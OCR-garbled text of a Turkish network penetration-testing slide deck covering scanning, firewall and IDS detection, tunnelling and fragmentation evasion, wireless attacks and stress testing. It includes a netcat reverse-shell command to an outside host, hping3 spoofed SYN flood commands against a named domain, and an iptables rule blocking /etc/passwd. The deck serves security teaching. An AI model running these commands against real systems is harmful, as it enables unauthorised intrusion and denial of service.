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* Network Pentest Neden Onemlidir ?

 Network Guvenlik Bilesenleri ve Tespiti
* Host/Ag Kesif Calismalari

* Firewall, IDS/IPS, Router Testleri

* Yerel Aglarda Guvenlik Analizi

* Kablosuz Ag Kesfi ve Guvenlik

* Network Stress Test

Dikkat = Sunum sonunda soru-cevap fasl bulunmamaktadir ©




Network Pentestin Amaci

En etkili saldirilar network seviyesinde gerceklestirilir.

Trafigin izlenmesi, degistirilmesi ve yonlendirilmesi
nelere yol acar ?
Sunucu, istemci ve alt aglarin sayisi arttikca saldirilari

network seviyesinde analiz etmek ve engelleme
ihtiyaci

Yuk dengeleme ve ylik aktarma sistemlerinin
verimliligini 6lcmek (DDOS)

Erisim kontrolleri, yetkisiz erisimlerin
engellenmesi/izlenmesi




Backtrack 5 Linux

e Guvenlik Testleri (pentest) ve Adli Bilisim (Forensics)
calismalari icin gelistirilmis icerisinde yuzlerce arac
bulunduran linux dagitimi.

 KDE (4.6) ve Ghome (2.6) masadlistu ortamina sahip
* 32 bit, 64 bit ve ARM islemci destegi bulunuyor

* “Forensics Mode” ve “Stealth mode”
destekliyor.Herhangi bir network trafigi
olusturmadan calisabilir.

 CD/ROOM’dan diske kurulum gerektirmeksizin
calisabilir.




Backtrack 5 Linux

BackTrack Live CB

No Metworking enabled
BackT isics - No Driver-or-se

BackTrack Debug - Safe Mode —
BackTrack Hentest - Run mest

Hard Driuve Boot - boot the ficet” hard di

ce bhack | track [=

Press [Tab) to edit options

flutomatic boot In 38 seconds.

EJroot : rubybin C Sx ¥ )




Network Guvenlik Bilesenleri

* Firewall
* Router
* |IDS (Indiruction Dedection Systems)

* |PS (Indiruction Prevention Systems)
 WAF (Web Application Firewall)

* Content Filter

* Honeypot

e Captive Portal




Firewall

* Sinir glivenligini denetler.

* |P ve Port’a gore filtreleme yapar.
e |kitur firewall yapisi vardir;

— Statefull ve Statesless
* |cerigi denetleyemez(?)

e GUnumuzde Layer 7 (icerik filtreleme) yapan
firewall’larda bulunmaktadir.




* Trafigi yonlendiren aktif ag cihazlaridir.

* Layer 2 ve Layer 3 routerlar vardir.
 Firewall ve Modemlerde birer router’dir.




IDS (Indiruction Dedection Systems)

Saldiri girisimleri ve anormallikleri tespit eder
Imza tabanli calisirlar
Layer 7 ye kadar filtreleme yapabilir.

Layer 7 firewall’lardan en buyuk farki payload
analizi yapabilmesi ve anormallik tespiti

Saldiriyi engelleme 6zelligi yoktur.
IPS 6zelligi ile saldiri girisimleri engellenir.




WAF (Web Application Firewall)

Web tabanli saldirilari imza tabanli analiz eder.

Payload inceleme yapabilir.
Anormallikleri tespit eder
Decode dzelligi vardir
Saldirilari engelleyebilir




* Hacker’lari tuzaga disurmek ve saldirilarini
analiz etmek icin gelistirilmis sistemler

* Gercek bir isletim sistemi gibi davranir,
hacker’lari yaniltacak 6zelliklere sahiptir.

* Cok etkilesimli honeypot’larda ciddi riskler
vardir.




Captive Portal

* Kimlik dogrulamali ag gecitleri

* MAC,IP, Username bazl kimlik dogrulama
yapabilirler.




Host / Netwok Tarama

* Hping3
# hping3 --scan known 91.93.119.80 -S
Scanning 91.93.119.80 (91.93.119.80), port known
4600 ports to scan, use -V to see all the replies
. S S S S S S S
|port| servname | flags |ttl| id | win | len |
. S S S S S S S
22 ssh :.S..A... 534213565535 46
25smtp  :.S..A... 5342391 0 46
80 http  :.S..A... 5342903 0 46
110 pop3  :.S..A... 5343159 65535 46
143 imap :.S..A... 534341565535 46
443 https  :.S..A... 5343671 0 46




Host / Netwok Tarama

e Klasik TCP Connect Scan
— nmap —sT 192.168.1.0/24

* |IDS/IPS sasirtmali port tarama
— nmap -D RND:5 192.168.1.37 -PN -sS -p 80
-v --packet_trace




Host / Netwok Tarama

* Yuzde ylz gizli tarama

#nmap -Pn -p 80 -sl www.cehturkiye.com www.ozanucar.com --packet-trace -v

Completed idle scan against www.ozanucar.com (89.19.25.155) at 02:42, 8.61s
elapsed (1 ports)

Nmap scan report for www.ozanucar.com (89.19.25.155)
Host is up (0.20s latency).

rDNS record for 89.19.25.155: 89-19-25-155.bilgisayar.com
PORT STATE SERVICE

80/tcp open http




Calisan Servislerin Kesfi

 MS08-067 guivenlik agigini ve Conficker Solucanini tespit etmek
#nmap -sS --script smb-check-vulns.nse 10.5.1.11

Interesting ports on 10.5.1.11:

Not shown: 986 closed ports

PORT  STATE SERVICE

80/tcp open http

MAC Address: 00:10:83:35:18:9F (Hewlett-packard Company)

Host script results:

| smb-check-vulns:

| MS08-067: FIXED (likely by Conficker)

| _Conficker: Likely INFECTED (by Conficker.C or lower)




Calisan Servislerin Kesfi

*  Promiscuos modda olan makinalari tespit etmek
#Interesting ports on 10.5.2.181.:
MAC Address: 00:15:F2:9B:8A:A6 (Asustek Computer)
Host script results:
| _ sniffer-detect: Windows with libpcap installed; may or may not be sniffing (tests:
"1.1 1"




Calisan Servislerin Kesfi

* SMB Dosya paylasimlarini tespit etmek

# nmap -p 135,445 --script=smb-enum-shares.nse 192.168.5.233
Starting Nmap 5.00 ( http://nmap.org ) at 2010-09-16 14:33 EEST
Interesting ports on 192.168.5.233:

Not shown: 990 closed ports

PORT  STATE SERVICE

135/tcp open msrpc

445/tcp open microsoft-ds

MAC Address: 00:1F:D0:8D:86:DB (Giga-byte Technology Co.)
Host script results:

| smb-enum-shares:

| Anonymous shares: IPCS

| _ Restricted shares: MEMUR VERI GIRIS OP, printS, Belgelerim, D, imzalar, ADMINS, CS
Nmap done: 1 IP address (1 host up) scanned in 2.51 seconds




Calisan Servislerin Kesfi

#nmap -sT -vv 5.5.5.2
Starting Nmap 5.51 ( http://nmap.org ) at 2011-05-31 13:41 EEST
Initiating Ping Scan at 13:41

PORT STATE SERVICE
80/tcp open http

135/tcp open msrpc
139/tcp open netbios-ssn
3389/tcp open ms-term-serv
8080/tcp open http-proxy




Calisan Servislerin Kesfi

#nc -v 5.5.5.2 8080
Connection to 5.5.5.2 8080 port [tcp/webcache] succeeded!
HEAD / HTTP/1.1

server: kolibri-2.0

content-type: text/plain

content-length: 11

#nc -v ozanucar.com 3306
DNS fwd/rev mismatch: ozanucar.com != 89-19-25-155.cizgibilgisayar.com
ozanucar.com [89.19.25.155] 3306 (mysql) open

5.0.45-community-nt2 \L J




Layer 2 Network Kesif Calismalar

* Firewall’lar ve Aktif ag cihazlari ICMP
paketlerine genellikle yanit vermezler.

* Host/Network kesif calismalarini Firewall, IDS
vb. sistemler rahatlikla tespit eder ve engeller.

* Diger IP katmanlarina erisim oladigi bu
durumlarda ARP paketleri Gretilerek Layer 2
seviyesinde host/network kesfi yapilir.

* Firewall arkasindaki sistemlerde bu sekilde
tespit edilebilinir.




Layer 2 Network Kesif Calismalar

* Nping; TCP/UDP/ICMP/ARP paketleri Giretebilir.
* Ag arabiriminde IP olmasa bile calisir.

Host/IP Araligi/Subnet taramasi yapilabilinir.

~ v X root@bt: ~
File Edit View Terminal Help
:~# ping -c 2 192.168.1.155
PING 192.168.1.155 (192.168.1.155) 56(84) bytes.-of data.

--- 192.168.1.155 ping statistics --
2 packets transmitted, © received, 100% packet loss, time 1089ms

:~# nping --arp -c 2 192.168.1.155

Starting Nping 0.5.51 ( httpk//nmap.org/nping ) at 2011-05-30 15:55 EEST
SENT» (0.0460s ) “ARP_#Who, has "1924168.1.1557 TE€ll 1924168.1.8

RCVD (0.0467s) ARP feply 192.168.1.155 is at 00:8C:29:CA:ED:FF
SENT (1.0468s) ARP who has 192.168.1.1557 Tell 192.168.1.8
RCVD (1.0475s) ARP reply 192.168.1.155 is at 00:0C:29:CA:ED:FF

Max rtt: N/A | Min rtt: N/A | Avg rtt: N/A
Raw packets sent: 2 (84B) Rcvd: 2 (92B) Lost: © (0.00%)
Tx time: 1.00124s | Tx bytes/s: 83.90 | Tx pkts/s: 2.00
Rx time: 2.00334s | Rx bytes/s: 45.92 | Rx pkts/s: 1.00
Nping done:ll IP address pinged in 2.05 seconds

T~




Aktif Ag Cihazlari

ICMP mesajlari firewall ve Saldiri tespit sistemi
tarafindan engellendi.

Last 50 firewall log entries. (

Act Time If Source Destination Proto
] May 30 15:53:49 | WAN 192.168.1.8 192.168.1.155 ICMP
] May 30 15:53:50 | WAN 192.168.1.8 192.168.1.155 ICMP

ICMP ile DESCRIPTION CLASS SRC sporT | FLow | DsT DPORT | sSID | Date
gergeklestir”en ICMF PING Misc activity |192.168.1.155 | empty - 152.168.37.1 | empty |[1:384:5|05/30-16:18:15
taramalari Saldiri ICMP PING *NIX Misc activity [192.168.1.155 | empty > |192.168.37.1 | empty [1:366:7 [05/30-16:1B:15
ICMP PING BSDtype | Misc activity |192.168.1.155 | empty > |192.168.37.1 | empty |1:368:6 |05/30-16:18:15
Tespit Sistemeri ICMP PING Misc activity |192.168.1.155 | empty > |152.168.37.1 | empty [1:384:5(05/30-16:18:14
Fark eder. 3 ICMP PING *NIX Misc activity [192.168.1.155 | empty -> |192.168.37.1 | empty |1:366:7 |05/30-16:18:14

ICMP PING BSDtype | Misc activity [1592.168.1.155 | empty - 152.168.37.1 empty |1:368:6 |05/30-16:18:14




TTL Degerlerinden Firewall Kesfi

* |P bashgindaki TTL degeri bir paketin yasam
sdresini belirler

* Bir paket L3 routing islemi yapan bir cihaza
rastgeldiginde TTL degeri bir dusurular.

* Farkli sistemler farkh TTL degerlerine sahip
olabilir.

— Mesela Linux sistemler paket olustururken TTL
degerini 64 yaparak gonderir

— Microsoft Windows ise 128 degerini kullanir.




TCP Bayraklari ile Firewall Kesfi

* Bir TCP oturumunun kurulmasi icin mutlaka ilk
paket SYN bayragini tasimalidir !

 Hedefe Rest, FIN, ACK ve NULL bayrakli bir
paket gonderilirse ;
— |sletim sistemleri Rest ile yanitini verir.
— Firewall’lar yanit donmez.




TCP Bayraklari ile Firewall Kesfi

e Bir TCP oturumunun kurulmasi icin 3 yollu el
sikismanin tamamlanmasi gerekir.

SYN
—
SYN/ ACK
. ] — :
1




TCP Bayraklari ile Firewall Kesfi

# tcpdump -n -v host 89.19.25.155
tcpdump: listening on ethO, link-type EN10MB (Ethernet), capture size 96 bytes
23:12:25.982993 IP (tos 0x0, ttl 64, id 5096, offset O, flags [none], proto: TCP (6),

length: 40) 178.18.197.18.proactivesrvr > 89.19.25.155.http: , cksum 0x670c
(correct), win 512

23:12:25.983666 IP (tos 0x0, ttl 119, id 15587, offset O, flags [none], proto: TCP (6),

length: 40) 89.19.25.155.http > 178.18.197.18.proactivesrvr: , cksum Oxcc29
(correct), 0:0(0) ack 1639943458 win 0

www.bga.com.tr

27




TCP Bayraklari ile Firewall Kesfi

# hping3 lifeoverip.net-p 80 -c 1
HPING lifeoverip.net (eth0 91.93.119.80): NO FLAGS are set, 40 headers + 0 data
bytes

--- lifeoverip.net hping statistic ---
1 packets tramitted, O packets received, 100% packet loss
round-trip min/avg/max = 0.0/0.0/0.0 ms

# tcpdump -n -v host 91.93.119.80

tcpdump: listening on ethO, link-type EN10MB (Ethernet), capture size 96 bytes
23:16:49.252868 IP (tos 0x0, ttl 64, id 34203, offset O, flags [none], proto: TCP (6),

length: 40) 178.18.197.18.alias > 91.93.119.80.http: , cksum 0xbf60 (correct), win
512

www.bga.com.tr




Router/Gateway Tespiti

* Yerel agda bulunan router ve gateway
cihazlarinin tespiti;

# ettercap -T -i ethl -P gw_discover //192.168.1.1-254
Remote target is 74.125.43.104:80...

Sending the SYN packet to 192.168.1.1 [00:E0:4D:A5:72:F4]

[00:E0:4D:A5:72:F4] 192.168.1.1 is probably a gateway for the
LAN




Traceroute

* Traceroute

* Hedefe ulasirken atlanan noktalari (routerlari) gosterir.
* Windows sistemler ICMP paketleri ile traceroute yaparlar
* Linux sistemler UDP ile traceroute yaparlar




Tcptraceroute

* Tcptraceroute

— Hedef sunucuya tcp paketleriile ulasmaya calisir.
— NAT arkasindaki sistemleri tespit etmek icin de kullanilir.

# tcptraceroute bga.com.tr

Selected device ethl, address 192.168.1.8, port 38207 for outgoing packets
Tracing the path to bga.com.tr (50.22.202.163) on TCP port 80 (www), 30 hopsmax
1 192.168.1.1 4.001 ms 2.600 ms 2.666 ms

2 78.178.120.1 33.790 ms 32.024 ms 31.107 ms

3 81.212.77.73 36.706 ms 31.912 ms 32.575 ms

77 ms 175.027 ms

12 50.22.202.163-static.reverse.softlayer.com (50.22.202.163) [open] 189.30 ms 186.986
ms 188.658 ms




Atlatma Teknikleri | SSH Tunelleme

* Genelikle glivenlik duvarlarinda kullanicilara
80/443. portlara erisime hakki verilir

* Internette 443. porttan SSH calistiran cesitli
Ucretsiz SSH servisi veren sistemler
bulunmaktadir

e SSH Socks proxy destegine sahiptir

* #ssh—D 2222 ozanus@siberguvenlik.org -p
443



mailto:ozanus@siberguvenlik.org

Atlatma Teknikleri | SSH Tunelleme

* SOCK proxy destekli tum yazilimlarin trafigi ssh
tineli ile hedefe ulastirilabilir.

* Connection Settings

Configure Proxies to Access the Internet

O No proxy ~ ~ x WhatIs My IP Address - Shows Your IP Address - Mozilla Firefox
() Auto-detect proxy settings for this network File Edit View History Bookmarks Tools Help

) Use em proxy settings W What Is My IP Address - Shows ...
bxy configuration: Q:] © | W http://www.whatismyip.com/ v|c| [ coQ @
Socks proxy — . ' |
v By BackTrack Linux [ Offensive Security KJExploit-DB Wy Aircrack-ng FH3SEORG.org [miMusic v

EATH | | Port: | 0
Ve
desteg| [J Use this proxy server for all protocols WhatlsMylP.com m n G .
froxy: | lpot [ o WIMI [Frnce v Jcramvoe oor ]

.

&

IRy | | port: | 0 o WIMT Forum What Is My IP Address - '
[ | i - WhatIsMyIP.com search
SOCKS Host: | 127.0.0.1 Port: 2222 u . | |
e Internet Recent Forum
O SOCKS v4 © SOCKS v5 Speed Test i our IP Posts
No Proxy for: | localhost, 127.0.0.1 | s IP Address ISP Policies =
Lookup Address Is: e

Example: .mozilla.org, .net.nz, 192.168.1.0/24 « IP WHOIS I am trying to set

O Automatic proxy configuration URL: Lookup 1 7 8 1 8 1 9 I7 1 8 up a public SSH
« Host Name . . . server. [Q1] Can

my ISP make this r

| | Lonkun

| Help | | Cancel || oK |




Atlatma Teknikleri | SSH Tunelleme

* SOCK proxy destegi olmayan yazilimlar icin,
“proxychains”

* H#proxychains rdesktop 5.5.5.2
ProxyChains-3.1 (http://proxychains.sf.net)
Autoselected keyboard map en-us
|S-chain |-<>-127.0.0.1:2222-<><>-5.5.5.2:3389-
<><>-0K

e #proxychains nmap —sT 5.5.5.2



http://proxychains.sf.net/

Atlatma Teknikleri | DNS Tune

DNS Query (Recursive)

(by Nirlog.com)
Root Servers I
com Namespace
A P >
Step 2 \ Step 3 egf//\'{b S <« ,//\
Question: where can | find the IP| Answer: | don't know but .com 9‘/,5\\'\0 o //@3‘\ 9\
Address of some-webserver.com? NameSpace should have lhe @\\'8‘ ‘09?’(\! Q), %56 W
answer A _g® oW yo©
/\\0 (‘\e aﬂ o)
it O\) 0 ?(\((‘ (\\e‘-o
/./ - of - <
v 8V P
o p‘(\ o’
‘/ g ¥
Not authoritative for
some-webserver.com
Uesho St
n e
User's Primary DNS Server \\What is ,‘,)76
(Recursion Allowed) S-w 9559;% Addres
.0 \ s
N Wnsw% _Step, “Comp>—=3(l
tep 1 so ere’js Ih
Question: what is the IP Step 8 me'Webse %\\_\
Address of some- Answer: Here is the IP 'VenCOm SSof T
webserver.com? Address of some- ’
Please reply to My IP Addréss webserver.com

> Primary DNS Server of

some-webserver.com

gser's PC

My IP Address




Atlatma Teknikleri | DNS Tunelling

m w

Welcome to the Cisco wireless network

Cisco is pleased 1o provide the Wireless LAM infrastructure for your netwark, Please login a

User Name

Password

Session Edit View Bookmarks Settings Help

-f 178.

Bookmarks

NS gue
= NULL q

- gmail.com ping statistics ---
ts transmitted, © received,

18.197.18 tunnel.b

Settings Help

5 packet loss, time 10687ms -

File Edit View Go Capture Analyze Statistics Telephani Tools Help
S eEeal oo = o022 ou GFEH
Filter: ~ | Expression... Clear Apply
No, Time Source Destination Protoco | Info
145 113.675067 178.18.1597.18 10.0.202.248 DNS Stands
150 113.680355 10.0.202.248 178.18.197.18 DNS Standa
151 116.649168 178.18.157.18 10.0.202.248 DNS Standa
35585 10.0.202.248 178.18.197.18 DNS Standa
4845 10.0.202.248 178.18.197.18 ONS Stands
: 178.18.197.18 Stande
ga.com.tr */jg214 178.18.197.18 10.0.202.248 DNS Standz
100902248 178.18.197.18 DNS Stands
a8 10.0.202.248 DNS Stands
178.18.157.18 [oh e Standz

1 ts), 195 bytes captured (1560 bits)
0B:e3:ff:fc:28), Dst: Tp-LinkT _8b:fa:fl (74:e:
B (178.18.197.18), Dst: 10.0.202.248 (10.0.202
hain (53), Dst Port: 44295 (44295)

, time 1606ms 28 0B 00D 45 00 t.:..... (..E
.753 ms, pipe 2 12 ¢5 12 0a Q0 T
of 84 00 00 01 = T

627467 7906 ....... aaybtagy.

63 6F 6d 02 74  tunnel.b ga.com.t

01 00 00 00 00 Mot iis mmmnnens

65 60 0B 89 fa .a..x.c . pe ...

= [Ets: 353 Displayed: 353 Marked: 0




Atlatma Teknikleri | Tor Browser

e Kurulum gerektirmez

* Tor kullanicilari kendi aralarinda sifreli iletisim

kurarlar
* |cerik filtreleme
servislerini atlatmak

ve saldirilart maskeleme

icin kullanthr

& Tor Network Map
() =)
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ZoomToFit Help Close

-

Connection
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Status

Open
Open
Open
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=

=
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Atlatma Teknikleri | Ters Tunelleme

Firewall Kurallan
INPUT:
TCP Port 80 ACCEPT
TCP Port 443 ACCEPT
DENY

OUTPUT:

TCP Port 80 ACCEPT
TCP Port 443 ACCEPT

TCP Port 80/443




Atlatma Teknikleri | Ters Tunelleme

e Netcat Reverse Tunnel

— netcat -e /bin/bash www.evbilgisayarim.com 443

— Evbilgisayarim~# nc =l —p 443



http://www.evbilgisayarim.com/

Atlatma Teknikleri | Packet Frag.

* Layer 7 Firewall’lar uygulama katmaninda
islem yapar
— Paketlerin sadece ip ve port bilesenlerine degil
icerigine de bakar
— Icerisinde /etc/passwd geciyorsa engelle gibil!
#iptables —A INPUT —p tcp —dport 80 —m string —
algo bm —string /etc/passwd —j REJECT




Atlatma Teknikleri | Packet Frag.

e SSL kullanilarak L7 firewallar atlatilabilir

e Cesitli encoding teknikleri kullanilarak L7
firewallar atlatilabilir

e Cesitli ip parcalama teknikleri kullanilarak L7
firewallar atlatilabilir




Atlatma Teknikleri | Packet Frag.

Paket parcalama araclari;
:~# sysctl -p

net.ipv4.conf.default.rp filter = 0
° FragrOUte {k‘ lD" (cg:fd;la‘p flﬁ_)te.’l’ —CO

v4.ip forward = 1

. . :~# fragroute siberguvenlik.org
® SnlffJOke ragroute: tcp seg -> ip frag -> ip chaff -> order -> print

.12 > 178.18.197.18: icmp: type 117 code 111 (frag 0:24@@+) [delay 0.06

1 1 ‘ .1.12 > 178.18.197.18: (frag 0:16@48)
¢ HeXInJeCt 2. .1.12 > 178.18.197.18: (frag 0O: ) [delay ©.001 ms]

.168.1.12 > 178.18.197.18: (frag 0:24@24+)
.168.1.12 > 178.18.197.18: icmp: type 8 code © (frag 0:24@0+)
.168.1.12 > 178.18.197,18: (frag ( [delay 0.001 ms]
.168.1.12 > 178.18.197.18: (frag 0:24@24+) [delay 0.001 ms]
.168¢1°02 5 178.18°197.187 icmp: type 115/code 72 (Ffrag 0:24@0+) [delay-0.00

ms ]

192.168.1.12 > 178.18.197.18: (frag 0:16@48)

192.168.1.12 178.18.197.18: (frag 0:16@48) [delay 0.001 ms]

192.168.1.12 > 178.18.197.18: (frag 0:24@24+)

192.168.1.12 > 178.18.197.18: icmp: type 8 code 0 (frag 0:24@0+)




Atlatma Teknikleri | Encoding

i ﬁ—ii—,i 2 - =
| 6 ,I | M http://siberguvenlik.org/ctf_step2.html I % Layer 7 Firewa” ile
J&Sayfayﬁklenirken hata olugtu | + | th_stepz_html

sayfasina erisim

engellenmis

Baglanti sifirlandi

Sayfa yiklenirken sunucuyla baglanti kesildi.

“ 7 yerine UTF8
encode karsihgi

m Site gegici olarak aglamiyor ya da ok mesgul olabilir, Biraz bekleyip yeniden
deneyin.

m Hichir sayfayr agmayr basaramiyorsaniz bilgisayannizin ag baglantilarini gézden
gegirin ve internete badl oldugunuzdan emin olun.

kullanildiginda
C sertes L amagemeyow e “op

E }u http://siberguvenIik.org/ctf%SFstepZ.htmlI + ] -

2. adimi basariyla tamamladiniz Lutfen puan icin ctfi@bga.com tr adresine "II.adim tamam" konuh e-posta gonderiniz.
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Yerel Aglarda Guvenlik Analizi

Sniffing Teknikleri
— Aktif Sniffing
— Pasif Sniffing

DNS Cache Poisoining
Arpspoof
Man in the Middle Saldirilar




Yerel Aglarda Guvenlik Analizi

Tcpdump
Wireshark/Tshark
Dnsiff Araclari
Ettercap

Scapy




Kablosuz Ag Kesfi ve Saldirilar

Gizli SSID sahip kablosuz aglar
Kablosuz aga bagli MAC Adresleri
Deauth paketleri |

Web/Wpa parolalarini kirmak




Kablosuz Ag Kesfi ve Saldirilar

Kismet
Airpcap
Airodump
Airoscript




Network Stress Test

 Anormal paketlere karsi verdigi yanitlar
* Session yonetimi
e Session kapasitesi




Network Stress Test

e udp.pl

* Hping3

* Letdown

* Siege

* Netstress (bga)




Network Stress Test

* Hping3 IP spoof
— # hping3 —randsource =S -p 80 bga.com.tr

* Flood
— # hping3 —randsource =S -p 80 bga.com.tr --flood




Network Stress Test

* Siege web stress test

:~# siege -c 100 -A firefox bga.com.tr
* SIEGE 2.70
* Preparing 100 concurrent users for battle.
he server is now under siege...




Tesekkurler



